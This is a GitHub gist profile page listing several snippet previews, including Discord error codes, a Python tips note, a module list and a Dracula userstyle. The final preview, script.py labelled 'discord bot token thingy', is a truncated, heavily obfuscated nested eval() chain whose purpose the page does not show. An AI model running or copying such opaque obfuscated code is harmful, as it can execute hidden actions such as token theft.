Skip to content

Instantly share code, notes, and snippets.

View wasi-master's full-sized avatar

Wasi Master wasi-master

View GitHub Profile
{
"0": "General error (such as a malformed request body, amongst other things)",
"10001": "Unknown account",
"10002": "Unknown application",
"10003": "Unknown channel",
"10004": "Unknown guild",
"10005": "Unknown integration",
"10006": "Unknown invite",
"10007": "Unknown member",
"10008": "Unknown message",
@wasi-master
wasi-master / lucas_bad.md
Last active March 12, 2022 06:50
Why is lucas bad?
@wasi-master
wasi-master / README.md
Last active November 1, 2021 05:27
Uses neuralblock to find the sponsors of a video

Neuralblock Website: https://ai.neuralblock.app

To use it just save it to a file then use

python filename.py videoid

replace filename with your file name and videoid with the video id

@wasi-master
wasi-master / nkfc.json
Last active December 30, 2021 05:04
NKFC Normalization mapping
{
' ': ['\xa0', '\u2000', '\u2001', '\u2002', '\u2003', '\u2004', '\u2005', '\u2006', '\u2007', '\u2008', '\u2009', '\u200a', '\u202f', '\u205f', '\u3000'],
'!': ['︕', '﹗', '!'],
'!?': ['⁉'],
'"': ['"'],
'#': ['﹟', '#'],
'$': ['﹩', '$'],
'%': ['﹪', '%'],
'&': ['﹠', '&'],
"'": ['''],
@wasi-master
wasi-master / or.md
Last active December 31, 2021 09:25

Got code that looks like this, and it's not working properly?

if x == "foo" or "bar" or "baz":

Python is interpreting this as though it was this:

if (x == "foo") or ("bar") or ("baz"):

If the first expression (x == "foo") isn't true, the second ("bar") will be, so this compound conditional always passes. Try this instead:

@wasi-master
wasi-master / modules.txt
Created January 5, 2022 19:06
List of python modules
__future__
__hello__
__phello__
_abc
_aix_support
_ast
_asyncio
_bisect
_blake2
_bootsubprocess

Keybase proof

I hereby claim:

  • I am wasi-master on github.
  • I am wasimaster (https://keybase.io/wasimaster) on keybase.
  • I have a public key whose fingerprint is 0214 4B65 1422 C52E A8C5 5E39 5B87 09DF C524 5072

To claim this, I am signing this object:

@-moz-document domain("wikipedia.org") {
/* ==UserStyle==
@name Dracula for Wikipedia
@version 0.1.0
@description Dark theme for Wikipedia
@namespace wasi-master/dracula-wikipedia
@author Wasi Master <arianmollik323@gmail.com> (https://wasi-master.github.io)
@homepageURL https://github.com/dracula/wikipedia
@supportURL https://github.com/dracula/wikipedia/issues
@updateURL https://github.com/dracula/wikipedia/raw/master/wikipedia.user.css
@wasi-master
wasi-master / codenames.md
Created January 23, 2022 09:04
List of codenames of all the brawlers

Table of all characters and their codenames

The sort order of this table is the order the brawl stars devs put them in

Codename Character
ShotgunGirl shelly
Gunslinger colt
BullDude bull
RocketGirl brock
TrickshotDude ricochet
Cactus spike
@wasi-master
wasi-master / script.py
Created January 29, 2022 08:17
discord bot token thingy
eval(eval('str(str)[+all([])]')+'t'+eval(''+eval('str(str)[+all([])]')+eval('str(str'+eval('str('+str(eval)[eval(str((+all([])))+str((+all([[]]))))]+'l'+str(eval)[eval(str((+all([])))+str((all([])+all([])+all([])+all([])+all([])+all([]))))]+'at((+all([]))))[(+all([]))]')+str(str)[+all([])]+str(eval)[eval(str((+all([])))+str((all([])+all([])+all([])+all([])+all([])+all([]))))]+str(eval)[(all([])+all([]))]+str(eval)[(all([])+all([])+all([])+all([])+all([])+all([])+all([])+all([]))]+'t)[(all([])+all([])+all([])+all([]))]')+'r('+str((+all([])))+str((all([])+all([])))+str((+all([[]])))+')')+eval('str('+str(eval)[eval(str((+all([])))+str((+all([[]]))))]+'l'+str(eval)[eval(str((+all([])))+str((all([])+all([])+all([])+all([])+all([])+all([]))))]+'at((+all([]))))[(+all([]))]')+eval(''+eval('str(str)[+all([])]')+eval('str(str'+eval('str('+str(eval)[eval(str((+all([])))+str((+all([[]]))))]+'l'+str(eval)[eval(str((+all([])))+str((all([])+all([])+all([])+all([])+all([])+all([]))))]+'at((+all([]))))[(+all([]))]')+str(str)[